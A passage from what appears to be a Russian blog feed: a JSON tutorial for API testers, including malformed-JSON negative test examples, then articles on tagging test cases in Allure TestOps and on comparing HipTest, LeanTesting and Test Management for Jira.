Вот, например, Виктор Иван это что? Ищем описание параметра query в документации ага, да это же запрос для подсказок!

Это как если бы мы вбили строку Виктор Иван в GUI (графическом интерфейсе пользователя):

Когда пользователь начинает вводить данные в формочку, то сразу видит результат появляется список подсказок. Это значит, что разработчик прописал в коде условие делать некое действие на каждый ввод символа в это поле. Какое действие? Можно увидеть через f12.

Открываем вкладку Network, вбиваем Виктор Иван и находим запрос, который при этом уходит на сервер. Ого, да это тот самый пример, что мы разбираем!

Клиент передает серверу запрос в JSON-формате. Внутри два параметра, две пары ключ-значение:

  • query строка, по которой ищем (то, что пользователь вбил в GUI);

  • count количество подсказок в ответе (в Дадате этот параметр зашит в форму, всегда возвращается 7 подсказок. Но если дергать подсказки напрямую, значение можно менять!)

Пары ключ-значение разделены запятыми:

Строки берем в кавычки, числа нет:

Конечно, внутри может быть не только строка или число. Это может быть и другой объект! Или массив... Или объект в массиве, массив в объекте... Любое количество уровней вложенности =))

Объект, массив, число, булево значение (true / false) если у нас НЕ строка, кавычки не нужны. Но в любом случае это будет значение какого-то ключа:

НЕТ

ДА

{

"a": 1,

{ x:1, y:2 }

}

{

"a": 1,

"inner_object": { "x":1, "y":2 }

}

{

"a": 1,

[2, 3, 4]

}

{

"a": 1,

"inner_array": [2, 3, 4]

}

Переносы строк делать необязательно. Вообще пробелы и переносы строк нужны только человеку для читабельности, система поймет и без них:

Так правильно

Так тоже правильно

{

"query": "Виктор Иван",

"count": 7

}

{ "query":"Виктор Иван", "count":7}

Ключ ВСЕГДА строка, поэтому можно не брать его в кавычки.

Так правильно

Так тоже правильно

{

"query": "Виктор Иван",

"count": 7

}

{

query: "Виктор Иван",

count: 7

}

По крайней мере, если вы работаете с простыми значениями ключей, а несколько слов записываете в верблюжьемРегистре или в змеином_регистре. Если вы хотите написать в ключе несколько слов через пробел, ключ нужно взять в кавычки.

НЕТ

ДА

{

my query: "Виктор Иван"

}

{

"my query": "Виктор Иван"

}

И все же я рекомендую использовать простые названия ключей, или использовать snake_case.

См также:

CamelCase, snake_case и другие регистры подробнее о разных регистрах

Писать ключи можно в любом порядке. Ведь JSON-объект это неупорядоченное множество пар ключ:значение.

Так правильно

Так тоже правильно

{

query: "Виктор Иван",

count: 7

}

{

count: 7,

query: "Виктор Иван"

}

Очень важно это понимать, и тестировать! Принимающая запрос система должна ориентировать на название ключей в запросе, а не на порядок их следования. Ключевое слово должна )) Хотя знаю примеры, когда от перестановки ключей местами всё ломалось, ведь первым должен идти запрос, а не count!.

Ключ или свойство?

Вот у нас есть JSON-объект:

{  "query": "Виктор Иван",  "count": 7}

Что такое query? Если я хочу к нему обратиться, как мне это сказать? Есть 2 варианта, и оба правильные:

Обратиться к свойству объекта;

Получить значение по ключу.

То есть query можно назвать как ключом, так и свойством. А как правильно то?

Правильно и так, и так! Просто есть разные определения объекта:

Объект

В JS объект это именно объект. У которого есть набор свойств и методов:

  • Свойства описывают, ЧТО мы создаем.

  • Методы что объект умеет ДЕЛАТЬ.

То есть если мы хотим создать машину, есть два пути:

  1. Перечислить 10 разных переменных модель, номер, цвет, пробег...

  2. Создать один объект, где будут все эти свойства.

Аналогично с кошечкой, собачкой, другом из записной книжки...

Объектно-ориентированное программирование (ООП) предлагает мыслить не набором переменных, а объектом. Хотя бы потому, что это логичнее. Переменных в коде будет много, как понять, какие из них взаимосвязаны?

Вот если я создаю машину, сколько переменных мне надо заполнить? А если меняю данные? А если удаляю? Когда переменные разбросаны по коду, можно забыть про какую-то и получить ошибку в интерфейсе. А если у нас есть цельный объект, всегда можно посмотреть, какие у него есть свойства и методы.

Например, создадим кошечку:

var cat = {name: Pussy,year: 1,sleep: function() {// sleeping code}}

В объекте cat есть:

  • Свойства name, year (что это за кошечка)

  • Функции sleep (что она умеет делать, описание поведения)

По коду сразу видно, что у кошечки есть имя и возраст, она умеет спать. Если разработчик решит добавить новые свойства или методы, он дополнит этот объект, и снова всё в одном месте.

Если потом нужно будет получить информацию по кошечке, разработчик сделает REST-метод getByID, searchKitty, или какой-то другой. А в нем будет возвращать свойства объекта.

То есть метод вернет

{name: Pussy,year: 1,}

И при использовании имени вполне уместно говорить обратиться к свойству объекта. Это ведь объект (кошечка), и его свойства!

Набор пар ключ:значение

Второе определение объекта неупорядоченное множество пар ключ:значение, заключенное в фигурные скобки {}.

Оно применимо тогда, когда внутри фигурных скобок приходит не конкретный целостный объект, а просто набор полей. Они могут быть связаны между собой, а могут относится к совершенно разным объектам внутри кода:

  • client_fio (в коде это свойство fio объекта client)

  • kitty_name (в коде это свойство name объекта cat)

  • car_model (в коде это свойство model объекта car)

В таком случае логично называть эти параметры именно ключами мы хотим получить значение по ключу.

Но в любом случае, и ключ, и свойство будет правильно. Не пугайтесь, если в одной книге / статье / видео увидели одно, в другой другое... Это просто разные трактовки \_()_/

Итого

Json-объект это неупорядоченное множество пар ключ:значение, заключённое в фигурные скобки { }. Ключ описывается строкой, между ним и значением стоит символ :. Пары ключ-значение отделяются друг от друга запятыми.

Значения ключа могут быть любыми:

  • число

  • строка

  • массив

  • другой объект

  • ...

И только строку мы берем в кавычки!

JSON-массив

Как устроен

Давайте снова начнем с примера. Это массив:

["MALE","FEMALE"]

Массив заключен в квадратные скобки []

Внутри квадратных скобок идет набор значений. Тут нет ключей, как в объекте, поэтому обращаться к массиву можно только по номеру элемента. И поэтому в случае массива менять местами данные внутри нельзя. Это упорядоченное множество значений.

Значения разделены запятыми:

Значения внутри

Внутри массива может быть все, что угодно:

Цифры

[1, 5, 10, 33]

Строки

["MALE","FEMALE"]

Смесь

[1, "Андрюшка", 10, 33]

Объекты

Да, а почему бы и нет:

[1, {a:1, b:2}, "такой вот массивчик"]

Или даже что-то более сложное. Вот пример ответа подсказок из Дадаты:

[        {            "value": "Иванов Виктор",            "unrestricted_value": "Иванов Виктор",            "data": {                "surname": "Иванов",                "name": "Виктор",                "patronymic": null,                "gender": "MALE"            }        },        {            "value": "Иванченко Виктор",            "unrestricted_value": "Иванченко Виктор",            "data": {                "surname": "Иванченко",                "name": "Виктор",                "patronymic": null,                "gender": "MALE"            }        },        {            "value": "Виктор Иванович",            "unrestricted_value": "Виктор Иванович",            "data": {                "surname": null,                "name": "Виктор",                "patronymic": "Иванович",                "gender": "MALE"            }        }]

Система возвращает массив подсказок. Сколько запросили в параметре count, столько и получили. Каждая подсказка объект, внутри которого еще один объект. И это далеко не сама сложная структура! Уровней вложенности может быть сколько угодно массив в массиве, который внутри объекта, который внутри массива, который внутри объекта...

Ну и, конечно, можно и наоборот, передать массив в объекте. Вот пример запроса в подсказки:

{"query": "Виктор Иван","count": 7,"parts": ["NAME", "SURNAME"]}

Это объект (так как в фигурных скобках и внутри набор пар ключ:значение). А значение ключа "parts" это массив элементов!

Итого

Массив это просто набор значений, разделенных запятыми. Находится внутри квадратных скобок [].

А вот внутри него может быть все, что угодно:

  • числа

  • строки

  • другие массивы

  • объекты

  • смесь из всего вышеназванного

JSON vs XML

В SOAP можно применять только XML, там без вариантов.

В REST можно применять как XML, так и JSON. Разработчики отдают предпочтение json-формату, потому что он проще воспринимается и меньше весит. В XML есть лишняя обвязка, название полей повторяется дважды (открывающий и закрывающий тег).

Сравните один и тот же запрос на обновление данных в карточке пользователя:

XML

<req><surname>Иванов</surname><name>Иван</name><patronymic>Иванович</patronymic><birthdate>01.01.1990</birthdate><birthplace>Москва</birthplace><phone>8 926 766 48 48</phone></req>

JSON

{"surname": "Иванов","name": "Иван","patronymic": "Иванович","birthdate": "01.01.1990","birthplace": "Москва","phone": "8 926 766 48 48"}

За счет того, что мы не дублируем название поля каждый раз surname surname, читать JSON проще. И за счет этого же запрос меньше весит, что при плохом интернете бывает важно. Или при большой нагрузке.

См также:

Инфографика REST vs SOAP

Well Formed JSON

Разработчик сам решает, какой JSON будет считаться правильным, а какой нет. Но есть общие правила, которые нельзя нарушать. Наш JSON должен быть well formed, то есть синтаксически корректный.

Чтобы проверить JSON на синтаксис, можно использовать любой JSON Validator (так и гуглите). Я рекомендую сайт w3schools. Там есть сам валидатор + описание типичных ошибок с примерами.

Но учтите, что парсеры внутри кода работают не по википедии или w3schools, а по RFC, стандарту. Так что если хотите изучить каким должен быть JSON, то правильнее открывать RFC и искать там JSON Grammar. Однако простому тестировщику хватит набора типовых правил с w3schools, их и разберем.

Правила well formed JSON:

  1. Данные написаны в виде пар ключ:значение

  2. Данные разделены запятыми

  3. Объект находится внутри фигурных скобок {}

  4. Массив внутри квадратных []

1. Данные написаны в виде пар ключ:значение

Например, так:

"name":"Ольга"

В JSON название ключа нужно брать в кавычки, в JavaScript не обязательно он и так знает, что это строка. Если мы тестируем API, то там будет именно JSON, так что кавычки обычно нужны.

Но учтите, что это правило касается JSON-объекта. Потому что json может быть и числом, и строкой. То есть:

123

Или

"Ольга"

Это тоже корректный json, хоть и не в виде пар ключ:значение.

И вот если у вас по ТЗ именно json-объект на входе, попробуйте его сломать, не передав ключ. Ещё можно не передать значение, но это не совсем негативный тест система может воспринимать это нормально, как пустой ввод.

2. Данные разделены запятыми

Пары ключ:значение в объекте разделяются запятыми. После последней пары запятая не нужна!

Типичная ошибка: поставили запятую в конце объекта:

{  "query": "Виктор Иван",  "count": 7,}

Это последствия копипасты. Взяли пример из документации, подставили в постман (ну или разработчик API подставил в код, который будет вызывать систему), а потом решили поменять поля местами.

В итоге было так:

{  "count": 7,  "query": "Виктор Иван"}

Смотрим на запрос ну, query то важнее чем count, надо поменять их местами! Копипастим всю строку "count": 7,, вставляем ниже. Перед ней запятую добавляем, а лишнюю убрать забываем. По крайней мере у меня это частая ошибка, когда я кручу-верчу, местами поменять хочу.

Другой пример когда мы добавляем в запрос новое поле. Примерный сценарий:

  1. У меня уже есть работающий запрос в Postman-е. Но в нем минимум полей.

  2. Я его клонирую

  3. Копирую из документации нужное мне поле. Оно в примере не последнее, так что идёт с запятой на конце.

  4. Вставляю себе в конце запроса в текущий конец добавляю запятую, потом вставляю новую строку.

  5. Отправляю запрос ой, ошибка! Из копипасты то запятую не убрала!

Я на этот сценарий постоянно напарываюсь при тестировании перестановки полей. А ведь это нужно проверять! Хороший запрос должен быть как в математической присказке: от перемены мест слагаемых сумма не меняется.

Не зря же определение json-объекта гласит, что это неупорядоченное множество пар ключ:значение. Раз неупорядоченное я могу передавать ключи в любом порядке. И сервер должен искать по запросу название ключа, а не обращаться к индексу элемента.

Разработчик, который будет взаимодействовать с API, тоже человек, который может ошибиться. И если система будет выдавать невразумительное сообщение об ошибке, можно долго думать, где конкретно ты налажал. Поэтому ошибки тоже тестируем.

Чтобы протестировать, как система обрабатывает плохой json, замените запятую на точку с запятой:

{  "count": 7;  "query": "Виктор Иван"}

Или добавьте лишнюю запятую в конце запроса эта ошибка будет встречаться чаще!

{  "count": 7,  "query": "Виктор Иван",}

Или пропустите запятую там, где она нужна:

{"count": 7"query": "Виктор Иван"}

Аналогично с массивом. Данные внутри разделяются через запятую. Хотите попробовать сломать? Замените запятую на точку с запятой! Тогда система будет считать, что у вас не 5 значений, а 1 большое:

[1, 2, 3, 4, 5] <!-- корректный массив на 5 элементов -->[1; 2; 3; 4; 5] <!-- некорректный массив, так как такого разделителя быть не должно. Это может быть простой строкой, но тогда нужны кавычки -->!

3. Объект находится внутри фигурных скобок {}

Это объект:

{a: 1, b: 2}

Чтобы сломать это условие, уберите одну фигурную скобку:

{a: 1, b: 2
a: 1, b: 2}

Или попробуйте передать объект как массив:

[ a: 1, b: 2 ]

Ведь если система ждет от вас в запросе объект, то она будет искать фигурные скобки.

4. Массив внутри квадратных []

Это массив:

[1, 2]

Чтобы сломать это условие, уберите одну квадратную скобку:

[1, 2
1, 2]

Или попробуйте передать массив как объект, в фигурных скобках:

{ 1, 2 }

Ведь если система ждет от вас в запросе массив, то она будет искать квадратные скобки.

Итого

JSON (JavaScript Object Notation) текстовый формат обмена данными, основанный на JavaScript. Легко читается человеком и машиной. Часто используется в REST API (чаще, чем XML).

  • JSON-объект неупорядоченное множество пар ключ:значение, заключённое в фигурные скобки { }.

  • Массив упорядоченный набор значений, разделенных запятыми. Находится внутри квадратных скобок [].

  • Число (целое или вещественное).

  • Литералы true (логическое значение истина), false (логическое значение ложь) и null.

  • Строка

При тестировании REST API чаще всего мы будем работать именно с объектами, что в запросе, что в ответе. Массивы тоже будут, но обычно внутри объектов.

Правила well formed JSON:

  1. Данные в объекте написаны в виде пар ключ:значение

  2. Данные в объекте или массиве разделены запятыми

  3. Объект находится внутри фигурных скобок {}

  4. Массив внутри квадратных []

См также:

Introducing JSON

RFC (стандарт)

Что такое XML

PS больше полезных статей ищитев моем блоге по метке полезное. А полезные видео намоем youtube-канале

Подробнее..

Управление тестами в TestOps храните информацию, а не выводы

24.05.2021 12:21:25 | Автор: admin

Обеспечить представление данных из любой большой системы так, чтобы человек мог спокойно с этими данными работать задача нетривиальная, но давно решенная. В этой гонке уже давно победило "дерево". Папочные структуры в операционных системах знакомы всем и каждому и исторически простое дерево в UI/UX становится первым решением для упорядочивания и хранения данных. Сегодня поговорим о тестировании, так что в нашем случае объектами хранения будут выступать тест-кейсы. Как их хранят чаще всего? Верно, в папочках!

Привычно? Да. Но так ли это решение хорошо и универсально? Вопрос подкрепляется существованием исключений: почта, JIRA-тикеты и много чего другого хранится не в папках. Давайте разбираться, почему.

Единое дерево

Этот подход позволяет быстро запуститься на старте и смоделировать структуру для построения базы тестов. Например, организовать хранение тест-кейсов для веб-сервиса по страницам (или по фичам) каждой странице по папочке для тест-кейсов, даже если самих тестов еще нет. Это удобно сразу можно понять масштаб и работ, а по заполненности папочек можно примерно оценить покрытие.

В итоге получается красивое решение, позволяющее команде тестировщиков спокойно и планомерно, с разделением зон ответственности наполнять дерево тестами. Впрочем, если бы все было просто хорошо, эта статься не появилась бы.

Что с ним не так?

Представим, что у нас есть замечательный веб-сервис, тесты на него написаны, разложены по папкам (по одной на каждую страницу) и выполняются раз в неделю, все счастливы. Однако, в какой-то момент к руководителю QA приходит менеджер (а они всегда приходят!) и просит рассказать о покрытии тестами микросервисов. Это не то, чтобы большая проблема просто теперь в дополнение к существующей структуре нужно как-то собрать информацию о тестах из папочек и соотнести ее с микросервисами и сделать соответствующий (новый) отчет. Впрочем, чтобы в следующий раз не заниматься рутиной, старший тестировщик предлагает ввести фиксированные уровни у дерева: так у нас появится возможность иметь данные по командам в нашей структуре данных, а команды намного быстрее будут со своими репозиториями разбираться! Отличное решение, только в следующий раз менеджер просит статистику покрытия по фичам (еще один новый отчет)... Если тестов много, сотни или тысячи, то создание каждого нового среза потребует погружения внутрь всех вложенных ветвей и перераспределения тест-кейсов по новой структуре для анализа.

В результате общее дерево со временем разбивается на поддеревья: у каждой команды свое поддерево со своими правилами. При необходимости добавления дополнительного признака в тесты никто не пойдет править чужие поддеревья: неудобно, не надо, процессы уже завязаны на текущую структуру, некогда этим заниматься, "не трогайте наши тесты!" и еще по миллиону причин. В итоге получается картина, когда дерево папок общее, но в каждом поддереве свои уровни.

Минусы дерева папок отсутствие гибкости в доступе к данным и аналитике и сложность рефакторинга в условиях, когда требования к тестированию меняются.

При росте проекта и требований к прозрачности тестирования возникает второе ограничение папочной структуры: ее очень сложно обслуживать. Продукты редко становятся проще, поэтому со временем наступает момент, когда структура хранения тест-кейсов, созданная на старте, морально устаревает.

Со временем обнаружится, что папочки в изначальной структуре расплодились и превратились в неуправляемый ад. Мудрым решением пересобрать структуру по другому критерию, по фичам. Для этого надо спроектировать новую структуру, уже вместе с аналитиком (если такой есть) разобраться с фичами, и аккуратно переносить все тесты в новую структуру. Выглядит несложно, однако такой процесс в крупных проектах занимает недели и месяцы, и если те, кто с таким пока не столкнулся счастливые люди.

В итоге папочки станут снова управляемыми, уровни вложенности структурируются, но снова получится только один срез по фичам. Если попытаться создать структуру с двумя срезами, по фичам и компонентам сразу, ее сложность и запутанность создаст больше проблем, чем пользы. А если у вас 3000 тест-кейсов? А если 10000?

Впрочем, чтобы столкнуться с ограничениями папочной структуры хранения тестов, не обязательно ждать менеджера с каким-либо "хитрым" запросом. Если в недавно переработанной структуре по фичам понадобится найти самый "красный" компонент, сделать этого скорее всего не получится: вы найдете самую красную "папочку" с фичей, но какие компоненты в ней тестируются, сходу будет не понять. С любой метрикой качества тестирования или продукта придется идти разбираться головой и руками.

Еще один подводный камень хранения тестов в папках ждет тех, кто планирует хранить в них автоматизированные тесты, написанные на разных языках программирования. Тут все просто: в Java тесты хранятся по полному имени пакет вроде io.qameta.allure, а в JavaScript или Python просто по имени пакета. Это значит, что при автоматической генерации тест-кейсов из автотестов, каждый фреймворк будет городить свои подструктуры в дереве и вся нормализация и базовая структура будет нарушена. Конечно, можно написать свою интеграцию для каждого фреймворка, но мы же стараемся упростить себе жизнь, верно?

"Из коробки" роботы не всё делают одинаково. "Из коробки" роботы не всё делают одинаково.

Самое время задаться вопросом, при чем здесь принятие решений из заголовка статьи. Ответ прост: все перечисленные недостатки связаны с тем, что папочная организация хранения тест-кейсов заставляет команду тестирования с самого начала принимать решение о структуре тестов, а не просто хранить информацию о тестовых сценариях и их результатах. Мало будет просто "подумать наперед" придется рассчитывать, что будет с проектом и командой тестирования через год-два, а лучше через три. К сожалению, чаще всего прогнозы оказываются неверными: можно переоценить темпы роста и годами сидеть в структуре "на вырост" или, наоборот, недооценить их и оказаться в структуре, неудобной команде и коллегам.

Как эту задачу решали Ops'ы?

С ограничениями классического дерева разобрались, а как их обходить? На самом деле, с этой задачей уже сталкивались многие, и изобретать велосипед нет необходимости. Большинство систем, работающих с большими объемами данных или большим количеством объектов переходят на плоскую структуру с навигацией по признакам. Самый яркий из недавних примеров инструменты мониторинга типа Grafana и Graphite.

Давайте рассмотрим его повнимательнее и попробуем применить к тестированию. Админы и все те, кто работают в Ops к метрикам и данным относятся с большой щепетильностью и любовью. Просто потому, что о падении сервиса, сети или недоступности какой-то кластера вы захотите узнать раньше пользователя, так? Изначально весь мониторинг строился по классической иерархической структуре: дата-центр кластер машинка метрики (CPU, RAM, storage и прочее). Удобная и понятная система, которая работает, если не приходится в реальном времени отслеживать десяток метрик, которые не привязаны к физическим машинам. А метрики для Ops'ов очень важны.

Например, нужно получить срез загрузки всех машин, на которых крутится какой-то микросервис. Построить такой срез при единой иерархической структуре задача нетривиальная. Задачу решили понятным и элегантным способом: сложили все объекты в единый пул и начали каждый помечать необходимыми метками-признаками.

Набор меток хранится в плоской структуре и свободно используется любой критерий поиска, фильтрации или группировки становится меткой: метрика, статус, география, сервис или компонент, положение в иерархии или отношение к команде. Такой подход позволяет освободить систему хранения от навязывания решений о структуре и хранить размеченные данные и метаданные так, чтобы иметь к ним доступ без "лишней" нагрузки.

Набор меток хранится в плоской структуре и свободно используется любой критерий поиска, фильтрации или группировки становится меткой

Чтобы получить отчет или анализ данных, нужно просто указать, по каким критериям срезы нас интересуют: нагрузка на CPU по инстанстам, разделенным по географии.

Такой метод управления данными позволяет не только фильтровать и делать выборки внутри структуры. Он предоставляет еще один уровень свободы в виде вышеупомянутой группировки: теперь можно спокойно сделать запрос к хранилищу вида "покажи статистику доступности всех машин, на которых крутится такой-то микросервис с группировкой по кластерам". Парсер проходится по всем машинам, забирает статистику доступности с тех, на которых стоит метка микросервиса и группирует их по кластерам.

При этом следующим запросом можно спокойно получить "загруженность кластеров по географии" дерево перебалансируется, перенеся кластеры на нижний уровень, а географию на первый.

В любой момент по запросу пользователю доступна любая аналитика и любой срез данных. Зайдите в дэшборды любой Ops-команды крупного сервиса, здесь найдутся отчеты по десятку метрик (uptime, загрузка ресурсов, количество пользователей и т.д.), нарезанных по множеству критериев (география, балансировка между серверами и пр.).

Да это же просто автоматизация папочек! скажете вы.

И это прекрасно это классическое решение проблемы масштабирования. Конечно, у системы с метками есть несколько минусы:

  • Нельзя создать "скелет" из папок и оставить их пустыми. Классическая практика из начала статьи, которая позволяет на старте продумать архитектуру.

  • Неудобно для тех, кто последние годы работал с папочками. Создание тестов требует аккуратной разметки и осмысленного подхода к формулированию каждого тест-кейса. Если в папочках "неудачные" или "ненужные" тесты просто затеряются, здесь они будут мозолить глаза.

Тест-кейсы: дерево против меток

Хорошо, с админами все понятно. Они там сидят и целый день смотрят в метрики и крутят данные. А нам-то зачем?

Ответ прост: мир разработки, к сожалению или к счастью, уже давно ушел от жесткой структуры релизы ускоряются, сборки автоматизируются. На фоне этих изменений, мир тестирования в большинстве компаний выглядит немного архаично: на новые фичи готовится по пачке новых тест-кейсов для ручных тестов и автоматизации, они раскладываются по папкам, запускается в тестирование на неопределенный срок (от 1-2 дней до недели), собирается результат тестирования и отгружается обратно в разработку после полного завершения. Ничего не напоминает? Это же старая добрая каскадная разработка (waterfall, то бишь)! В 2021 году. Если послушать Баруха Садогурского в одном из подкастов, где он довольно убедительно рассказывает, что любой процесс это по сути agile, в котором "мы пытаемся отложить принятие решения максимально далеко, чтобы перед этим собрать побольше данных", станет понятно, почему весь мир разработки гонится за короткими итерациями и быстрыми релизами. Именно поэтому разработчики уже давно пишут софт итеративно, внедряя по одной фиче или паре фиксов на релиз, опсы отгружают эти релизы как можно скорее, которые перед этим тестируются. А как они тестируются?

Скорость разработки и развертывания требует от тестирования скорости в предоставлении результатов больше нет времени на полуавтоматический анализ из статичного дерева, вашим коллегам нужно много данных с разных срезов. А если вы затрудняетесь их готовить, то действительно ли тестирование приносит максимальную пользу?

Посмотрите на последние веяния в тестировании для DevOps заключаются в том, чтобы тестировать как можно меньше и как можно быстрее: это приводит к подходам вроде shift right и тестируйте как можно меньше. Практики, направленные на скорость, повторяемость и стабильность выполнения тестов, а не покрытие и оценку качества в широком смысле про это в свое время буду писать отдельные статьи. Поэтому, чтобы оставаться в мире, где тестирование отвечает за качество продукта, давайте вернемся к нашим папочкам и признакам. Создавая папочную структуру, мы изначально закладываем в хранилище тест-кейсов принятое решение о том, в каком виде хотим получать отчеты и видеть результаты. Проблема в том, что мы не знаем какие отчёты понадобятся в будущем.

Если вы не успеваете готовить отчеты для коллег и бизнеса, то действительно ли тестирование приносит максимальную пользу?

В конце концов, никто не захочет разбираться с закостенелой структурой, которая удобна для отдела контроля качества. Чтобы тесты были полезны, их результаты должны быть гибкими и максимально атомарными, готовыми для сборки произвольных отчетов. Поэтому давайте собирать метаданные, а потом разбираться. По ним можно будет строить отображение дерева тестов в нужном виде: для тестировщиков по фичам, для разработчиков по классам, или вообще списком с сортировкой по имени:

Пример представлений, которые можно получить в Allure TestOps в пару кликов из базы размеченных тестов.Пример представлений, которые можно получить в Allure TestOps в пару кликов из базы размеченных тестов.

Тестирование так же, как и мониторинг из примера, работает с метриками. Их может быть много или очень много, и придумать универсальную и вечную структуру просто невозможно. А собрать и сформулировать исчерпывающий набор метрик и критериев можно.

По сути, вместо одного статичного дерева, управление через признаки позволяет простым и понятным способом сделать генератор деревьев, основанный на нужных критериях, расширяемый и масштабируемый без лишних танцев с бубном. А как только мы получаем автоматически генерируемые выборки и группы, мы можем настроить автоматический live-репортинг и генерацию отчетов. Самый понятный пример JIRA, где можно по любому полю тикета построить график, тренд или дэшборд любого вида, собрать, отфильтровать или сгруппировать тикеты (могут понадобиться плагины!:)) в любую структуру прямо на митинге.

Согласитесь, звучит заманчиво: иметь гибкость JIRA-тикетов в управлении тест-кейсами. Останется только автоматизировать запуски на слияние веток и вот тестирование уже отвечает требованиям DevOps!

Подробнее..

Выбор хорошего инструмента для хранения тест документации и сравнительный анализ 3х выбранных инструментов

30.09.2020 16:04:54 | Автор: admin

Ведение документации для тестирования в Google-доках и Google-таблицах не лучший способ работы с тестовой документацией. Такой подход имеет свои недостатки.
В этой статье я расскажу, как мы перешли от хранения тестовой документации с Google docs к специализированным SaaS-решениям, сделаю сравнение трех разных инструментов (HipTest, Leantesting, Test Management for Jira) и поделюсь результатами такого перехода.




Меня зовут Татьяна и уже 2,5 года я работаю в компании Englishdom на позиции qa engineer. Мы онлайн-школа английского языка, и наш IT-отдел разрабатывает уникальную цифровую платформу учебник для изучения английского, а также несколько приложений для тренировок и домашних заданий. QA-команда тестирует эти продукты и для этого мы ведем документацию.
Использование Google-доков и Google-таблиц имеет свои преимущества:


  • бесплатные ресурсы без ограничений;
  • легкая адаптация так как таблицы простой и понятный инструмент.

Но у такого подхода есть и свои недостатки:


  • увеличение количества тестов когда проект растет, а значит масштабируемость тест-кейсов или чек-листов для проверки функционала и как следствие сложность в их управлении;
  • управление тестовыми проверками например, такие как отметка фактического результата теста при запуске тестов, запуск test cycle и построение отчета о пройденном тестировании;
  • менеджмент тестовой документации.

Когда я пришла на работу в проект Englishdom, в качестве тестовой документации мы как раз использовали чек-листы в Google-таблицах и в Confluence. Из-за недостатков, описанных выше, одной из главных задач для улучшения процессов был переход с чек-листов на тест-кейсы. А для этого требовался хороший инструмент для их хранения и управления.

Итак, я получила задачу от QA-лида заняться ресерчем этой проблемы. Для поиска хорошего инструмента я просмотрела множество статей, презентаций и информации в различных интернет источниках и провела сравнительный анализ существующих предложений. Также я опросила многих QA-коллег, проанализировала их мнение и увидела закономерность, что QA действительно не спешат внедрять такие вещи в продукт прежде всего из-за того что:


  • избегание переезда или нежелание переноса множества тестов на другой инструмент;
  • дискомфорт при выходе из зоны комфорта и получении непривычного нового опыта;
  • отсутствие необходимого бюджета, т.к. почти все Test Case Management Tools платные;
  • выбор self-hosted, а не saas-cloud решений для Test Case Management System, что также является платным, и может быть проблемой ввиду отсутствия или ограниченности бюджета;
  • имеются сложности договориться с менеджментом о необходимости или стоимости для такого инструмента.


В нашем случае первоначально стояла задача: найти бесплатный Test Case Management Tool на минимальное количество пользователей, так как на проекте было всего несколько тестировщиков и большое количество юзеров для нас не имело значения, также количество тестовых проверок на тот момент было не слишком большое. Ввиду этого не было необходимости в платном и супер-крутом инструменте.


HipTest


Дальше настало время экспериментов. Первый инструмент, который мы решили попробовать это HipTest https://hiptest.net/ Представлю краткий его обзор:


Преимущества:


  • наличие централизованного хранилища результатов тестов от запуска к запуску в наглядном представлении;
  • возможность просмотра шагов теста, при этом если изначально выбрать хороший стиль написания сценариев, то каждый участник проекта/команды без проблем разберется в сути теста.

Недостатки:


  • создание и редактирование сценариев и action words (при создании новых шагов-действий можно квалифицировать их как шаг, ожидаемый результат или многоразовое действие, это называется action words в HipTest) возможно только в HipTest, а редактор там специфичный. Чтобы понять, нужно попробовать и сравнить с блокнотом или, скажем, с google docs/sheets;
  • массовый быстрый рефакторинг сценариев не получится так же, как это легко можно делать в текстовых редакторах;
  • необходимо быть аккуратным с переименованием (случайным или нет) action words, т.к. в случае, если сценарий уже автоматизирован, то переименование только в HipTest приводит к упавшему тесту, потому что в части реализации наш action word остался с прежним именем;
  • нет возможности прикреплять скриншот к step, а только ко всему тест-кейсу.


Пример тестового сценария в hiptest

Изначально интерфейс этого инструмента мне показался очень простым и удобным, я вдохновилась преимуществами и мы начали переезд на этот инструмент. Возникли некоторые проблемы с экспортом чек-листов с google таблиц и confluence и пришлось вручную переписывать их в HipTest. Дальше при презентации команде было принято общее решение все-таки отказаться от этого тула в виду одной и самой большой причины все-таки сильно неудобно, что в скриншот можно крепить только один ко всему тесту, а не к каждому шагу. В итоге HipTest в работе мы так и не использовали.

P.S. В моем рассказе HipTest представлен в том виде, который был на момент нашего использования. На данный момент HipTest объединен с Cucumber под одним брендом, запустив CucumberStudio и новый улучшенный веб-сайт Cucumber.io. Однако теперь инструмент платный.


LEANTESTING


Итак, поиски инструмента продолжились. Следующим был вариант https://leantesting.com/ (по сути это бесплатный аналог Test Rail, однако есть возможность приобрести расширенные возможности за дополнительную плату. Сейчас мы рассмотрим особенности бесплатной версии.




Пример тестового сценария в LeanTesting

Преимущества:


  • неограниченное количество пользователей;
  • неограниченное количество проектов;
  • неограниченное количество тестов и тест сайклов;
  • удобные отчеты;
  • в новом обновлении Lean Testing может запускать автоматизированные тесты с Selenium.

Недостатки:


  • интеграция с другими вебхуками (например, Slack, GitGub, BitBucket ) платная;
  • настройка пользовательских статусов и типов ошибок также платная;
  • нет интеграции с какими-либо системами баг-трекеров (в нашем случае Jira);
  • скриншот можно прикрепить только к тест-кейсу в целом, но не к шагам;
  • нет возможности импортировать тест-кейсы из других Test Case Management Tools или Excel.

Изначально приняв решение о переходе на этот инструмент, мы видели одно большое преимущество более удобный пользовательский интерфейс, чем в HipTest, но спустя год активного использования все-таки решили уйти от Lean Testing. Главной причиной для нас на тот момент стало отсутствие интеграции с Jira (на проекте мы активно ее используем для ведения всех задач и, конечно же, было бы удобно хранить все в одном месте) и возможность прикреплять скриншот только ко всему тест-кейсу, а не к каждому шагу. Также на тот момент в бесплатной версии было ограничено количество создаваемых кейсов.

То есть изначально при выборе инструмента, мы не задумывались о таких вещах как интеграция с Jira, но впоследствии пришли к выводу, что это было бы очень удобно и полезно для тестирования и разработки. Мы не думали про то, что проект будет так стремительно расти, а с ним и количество наших тестов. Изначально мы просто хотели перенести документацию только для части функционала, а остальную оставить в Confluence. Но со временем, пощупав удобство пользования тест-кейсами в специальной системе их хранения, мы решили переносить туда и другие тесты.


Test Management for Jira (TM4J)


Спустя какое-то время поиска выбор пал на Test Management (https://www.adaptavist.com/doco/display/KT/Test+Management+for+Jira+Server) встраиваемый в Jira инструмент, простыми словами плагин.

Преимущества:


  • красивые и понятные отчеты в виде диаграмм (но довольно простенькие);
  • добавление и удаление статусов к тест-кейсам, тест прогонам и результатам;
  • возможность проставлять лейблы, компоненты, приоритеты в каждом кейсе;
  • возможность добавлять скрины в каждый шаг тест-кейса (!);
  • связь с Jira.

Недостатки:


  • плагин платный, оплачивается дополнительно и не входит в лицензию Jira;
  • нет возможности настроить сортировку тестов по порядку в тест-сайкле - при просмотре сьюта у вас будут тесты по порядку, а при добавлении этого сьюта в тест-сайкл внутри папки такого удобного порядка уже не будет.


